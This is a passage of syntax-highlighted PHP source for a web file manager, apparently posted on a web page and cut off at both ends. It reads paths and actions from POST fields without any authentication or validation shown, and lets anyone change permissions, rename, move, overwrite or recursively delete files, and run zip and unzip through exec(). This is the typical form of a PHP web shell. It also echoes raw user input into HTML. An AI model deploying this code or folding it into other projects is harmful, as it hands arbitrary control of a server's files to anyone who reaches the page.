<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</table><p class="centre milieu">'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'<br><br>'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'chmod'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'perm'</span>])) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">chmod</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>], intval(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'perm'</span>],<span style="color: #BA2121">8</span>))) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Change permission successful!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Change permission failed!</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form class="centre milieu" method="POST"></span>
<span style="color: #BA2121">Permission : <input name="perm" type="text" size="4" value="'</span> <span style="color: #666666">.</span> substr(<span style="color: #008000">sprintf</span>(<span style="color: #BA2121">'%o'</span>, <span style="color: #008000">fileperms</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>])) , <span style="color: #666666">-4</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="path" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="opt" value="chmod"></span>
<span style="color: #BA2121"><input type="submit" value="Save"></span>
<span style="color: #BA2121"></form></span>
<span style="color: #BA2121"><p class="centre">WARNING, octal notation, enter the 4 digits as follows 0644 or 0705.</p>'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'rename'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'newname'</span>])) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">rename</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>], <span style="color: #19177C">$path</span> <span style="color: #666666">.</span> <span style="color: #BA2121">'/'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'newname'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Name change succeeded!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Name change failed!</strong></font><br>'</span>;
}
<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'name'</span>] <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'newname'</span>];
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form class="centre milieu" method="POST"></span>
<span style="color: #BA2121">New name : <input name="newname" type="text" size="30" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'name'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="path" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="opt" value="rename"></span>
<span style="color: #BA2121"><input type="submit" value="Save"></span>
<span style="color: #BA2121"></form>'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'move'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'deplace'</span>])) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">rename</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>], <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'deplace'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Moving the file successful!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Moving the file failed!</strong></font><br>'</span>;
}
<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'deplace'</span>];
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form class="centre milieu" method="POST"></span>
<span style="color: #BA2121">Move the file to : <input name="deplace" type="text" size="30" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$path</span> <span style="color: #666666">.</span> <span style="color: #BA2121">'/'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'name'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="path" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="opt" value="move"></span>
<span style="color: #BA2121"><input type="submit" value="Save"></span>
<span style="color: #BA2121"></form></span>
<span style="color: #BA2121"><p class="centre">WARNING, put the absolute path with the file or folder name.</p>'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'edit'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'src'</span>])) {
<span style="color: #19177C">$fp</span> <span style="color: #666666">=</span> <span style="color: #008000">fopen</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>], <span style="color: #BA2121">'w'</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">fwrite</span>(<span style="color: #19177C">$fp</span>, <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'src'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Editing successful!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Editing failed!</strong></font><br>'</span>;
}
<span style="color: #008000">fclose</span>(<span style="color: #19177C">$fp</span>);
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form class="centre milieu" method="POST"></span>
<span style="color: #BA2121"><textarea cols=80 rows=20 name="src">'</span> <span style="color: #666666">.</span> <span style="color: #008000">htmlspecialchars</span>(<span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>]), <span style="color: #19177C">ENT_QUOTES</span>, <span style="color: #BA2121">'UTF-8'</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">'</textarea><br></span>
<span style="color: #BA2121"><input type="hidden" name="path" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="opt" value="edit"></span>
<span style="color: #BA2121"><input type="submit" value="Save"></span>
<span style="color: #BA2121"></form>'</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</p>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</table><br><p class="milieu centre">'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'option'</span>]) <span style="color: #666666">&&</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'delete'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'type'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'dir'</span>) {
<span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #008000; font-weight: bold">new</span> RecursiveIteratorIterator(<span style="color: #008000; font-weight: bold">new</span> RecursiveDirectoryIterator(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>],
FilesystemIterator<span style="color: #666666">::</span><span style="color: #7D9029">SKIP_DOTS</span> <span style="color: #666666">|</span> FilesystemIterator<span style="color: #666666">::</span><span style="color: #7D9029">UNIX_PATHS</span>),
RecursiveIteratorIterator<span style="color: #666666">::</span><span style="color: #7D9029">CHILD_FIRST</span>) <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$value</span>) {
<span style="color: #19177C">$value</span><span style="color: #666666">-></span><span style="color: #7D9029">isFile</span>() <span style="color: #666666">?</span> <span style="color: #008000">unlink</span>(<span style="color: #19177C">$value</span>) <span style="color: #666666">:</span> <span style="color: #008000">rmdir</span>(<span style="color: #19177C">$value</span>);
}
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">rmdir</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Delete successful!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Delete failed!</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'type'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'file'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">unlink</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Delete file successful!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Delete file failed!</strong></font><br>'</span>;
}
}
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'option'</span>]) <span style="color: #666666">&&</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'zip'</span>) {
<span style="color: #19177C">$ficCompress</span> <span style="color: #666666">=</span> <span style="color: #008000">escapeshellcmd</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>]);
<span style="color: #008000">exec</span>(<span style="color: #BA2121">"zip -qr -6 "</span><span style="color: #666666">.</span><span style="color: #19177C">$ficCompress</span><span style="color: #666666">.</span><span style="color: #BA2121">".zip "</span><span style="color: #666666">.</span><span style="color: #19177C">$ficCompress</span><span style="color: #666666">.</span><span style="color: #BA2121">""</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Compression successful!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'option'</span>]) <span style="color: #666666">&&</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'unzip'</span>) {
<span style="color: #19177C">$extFic</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> SplFileInfo(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>]);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$extFic</span><span style="color: #666666">-></span><span style="color: #7D9029">getExtension</span>() <span style="color: #666666">==</span> <span style="color: #BA2121">'zip'</span>) {
<span style="color: #19177C">$ficCompress</span> <span style="color: #666666">=</span> <span style="color: #008000">escapeshellcmd</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>]);
<span style="color: #008000">exec</span>(<span style="color: #BA2121">"unzip -q "</span><span style="color: #666666">.</span><span style="color: #19177C">$ficCompress</span><span style="color: #666666">.</span><span style="color: #BA2121">" -d "</span><span style="color: #666666">.</span><span style="color: #19177C">$path</span><span style="color: #666666">.</span><span style="color: #BA2121">""</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Uncompression successful!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Uncompression failed! You need a ZIP file</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</p>'</span>;
<span style="color: #19177C">$scandir</span> <span style="color: #666666">=</span> <span style="color: #008000">scandir</span>(<span style="color: #19177C">$path</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"></span>
<span style="color: #BA2121"><tr class="first"></span>
<span style="color: #BA2121"><td class="centre">Name</td></span>
<span style="color: #BA2121"><td class="centre">Size</td></span>
<span style="color: #BA2121"><td class="centre">Permissions</td></span>
<span style="color: #BA2121"><td class="centre">Actions</td></span>
<span style="color: #BA2121"></tr>'</span>;
<span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #19177C">$scandir</span> <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$dir</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #008000">is_dir</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>) <span style="color: #666666">||</span> <span style="color: #19177C">$dir</span> <span style="color: #666666">==</span> <span style="color: #BA2121">'.'</span> <span style="color: #666666">||</span> <span style="color: #19177C">$dir</span> <span style="color: #666666">==</span> <span style="color: #BA2121">'..'</span>) <span style="color: #008000; font-weight: bold">continue</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"<tr></span>
<span style="color: #BA2121"><td><a href=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">?path=</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121"></a></td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">petit centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>--</td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">petit centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_writable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">'</span>;
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #666666">!</span><span style="color: #008000">is_readable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson">'</span>;
<span style="color: #008000; font-weight: bold">echo</span> perms(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_writable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>) <span style="color: #666666">||</span> <span style="color: #666666">!</span><span style="color: #008000">is_readable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</font>'</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"</td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><form method=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">POST</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> action=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">?option&path=</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">opt</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">What to do?</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>What to do?</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">rename</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Rename</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">move</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Move</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">chmod</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Chmod</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">zip</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Compress</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">unzip</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Uncompress</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">delete</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Delete</option></span>
<span style="color: #BA2121"></select></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">type</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">dir</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">name</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">path</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">submit</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"></form></td></span>
<span style="color: #BA2121"></tr>"</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<tr class="first"><td></td><td></td><td></td><td></td></tr>'</span>;
<span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #19177C">$scandir</span> <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$file</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #008000">is_file</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">continue</span>;
<span style="color: #19177C">$size</span> <span style="color: #666666">=</span> <span style="color: #008000">filesize</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>) <span style="color: #666666">/</span> <span style="color: #666666">1024</span>;
<span style="color: #19177C">$size</span> <span style="color: #666666">=</span> round(<span style="color: #19177C">$size</span>, <span style="color: #666666">2</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$size</span> <span style="color: #666666">>=</span> <span style="color: #666666">1024</span>) {
<span style="color: #19177C">$size</span> <span style="color: #666666">=</span> round(<span style="color: #19177C">$size</span> <span style="color: #666666">/</span> <span style="color: #666666">1024</span>, <span style="color: #666666">2</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">' Mo'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #19177C">$size</span> <span style="color: #666666">=</span> <span style="color: #19177C">$size</span> <span style="color: #666666">.</span> <span style="color: #BA2121">' Ko'</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"<tr></span>
<span style="color: #BA2121"><td><a href=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">?filesrc=</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">&path=</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121"></a></td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">petit centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span> <span style="color: #666666">.</span> <span style="color: #19177C">$size</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"</td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">petit centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_writable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">'</span>;
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #666666">!</span><span style="color: #008000">is_readable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson">'</span>;
<span style="color: #008000; font-weight: bold">echo</span> perms(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_writable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>) <span style="color: #666666">||</span> <span style="color: #666666">!</span><span style="color: #008000">is_readable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</font>'</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"</td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><form method=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">POST</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> action=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">?option&path=</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">opt</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">What to do?</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>What to do?</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">rename</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Rename</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">edit</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Edit</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">move</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Move</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">chmod</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Chmod</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">zip</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Compress</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">unzip</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Uncompress</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">delete</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Delete</option></span>
<span style="color: #BA2121"></select></span>
